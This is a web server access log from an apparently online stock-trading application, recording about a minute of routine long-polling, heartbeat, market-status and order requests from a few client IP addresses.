[09/Jan/2026:15:09:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942851374 HTTP/1.1" -
[09/Jan/2026:15:09:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942852115 HTTP/1.1" -
[09/Jan/2026:15:09:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942869334 HTTP/1.1" -
[09/Jan/2026:15:09:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942860834 HTTP/1.1" -
[09/Jan/2026:15:09:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942854453 HTTP/1.1" -
[09/Jan/2026:15:09:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942856504 HTTP/1.1" -
[09/Jan/2026:15:09:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942857171 HTTP/1.1" -
[09/Jan/2026:15:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942874389 HTTP/1.1" -
[09/Jan/2026:15:09:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942865867 HTTP/1.1" -
[09/Jan/2026:15:09:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942859593 HTTP/1.1" -
[09/Jan/2026:15:09:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942861615 HTTP/1.1" -
[09/Jan/2026:15:09:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942862221 HTTP/1.1" -
[09/Jan/2026:15:09:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942879414 HTTP/1.1" -
[09/Jan/2026:15:09:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:09:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942870940 HTTP/1.1" -
[09/Jan/2026:15:09:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942864748 HTTP/1.1" -
[09/Jan/2026:15:09:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942866651 HTTP/1.1" -
[09/Jan/2026:15:09:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942867272 HTTP/1.1" -
[09/Jan/2026:15:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:09:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:09:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942884437 HTTP/1.1" -
[09/Jan/2026:15:10:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942876041 HTTP/1.1" -
[09/Jan/2026:15:10:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942869845 HTTP/1.1" -
[09/Jan/2026:15:10:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942871683 HTTP/1.1" -
[09/Jan/2026:15:10:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942872297 HTTP/1.1" -
[09/Jan/2026:15:10:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942889504 HTTP/1.1" -
[09/Jan/2026:15:10:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942881113 HTTP/1.1" -
[09/Jan/2026:15:10:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942874911 HTTP/1.1" -
[09/Jan/2026:15:10:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942876749 HTTP/1.1" -
[09/Jan/2026:15:10:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942877350 HTTP/1.1" -
[09/Jan/2026:15:10:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942894533 HTTP/1.1" -
[09/Jan/2026:15:10:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942886218 HTTP/1.1" -
[09/Jan/2026:15:10:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942880085 HTTP/1.1" -
[09/Jan/2026:15:10:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942881848 HTTP/1.1" -
[09/Jan/2026:15:10:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:10:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:10:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942882380 HTTP/1.1" -
[09/Jan/2026:15:10:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:10:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1021
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942899592 HTTP/1.1" -
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:14 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942891340 HTTP/1.1" -
[09/Jan/2026:15:10:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942885228 HTTP/1.1" -
[09/Jan/2026:15:10:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:10:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1268
[09/Jan/2026:15:10:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942887088 HTTP/1.1" -
[09/Jan/2026:15:10:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942887415 HTTP/1.1" -
[09/Jan/2026:15:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:19 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942904612 HTTP/1.1" -
[09/Jan/2026:15:10:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942896381 HTTP/1.1" -
[09/Jan/2026:15:10:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942890363 HTTP/1.1" -
[09/Jan/2026:15:10:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942892125 HTTP/1.1" -
[09/Jan/2026:15:10:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942892442 HTTP/1.1" -
[09/Jan/2026:15:10:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942909636 HTTP/1.1" -
[09/Jan/2026:15:10:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:10:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942901485 HTTP/1.1" -
[09/Jan/2026:15:10:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942895507 HTTP/1.1" -
[09/Jan/2026:15:10:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942897156 HTTP/1.1" -
[09/Jan/2026:15:10:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942897491 HTTP/1.1" -
[09/Jan/2026:15:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:10:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:10:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942914696 HTTP/1.1" -
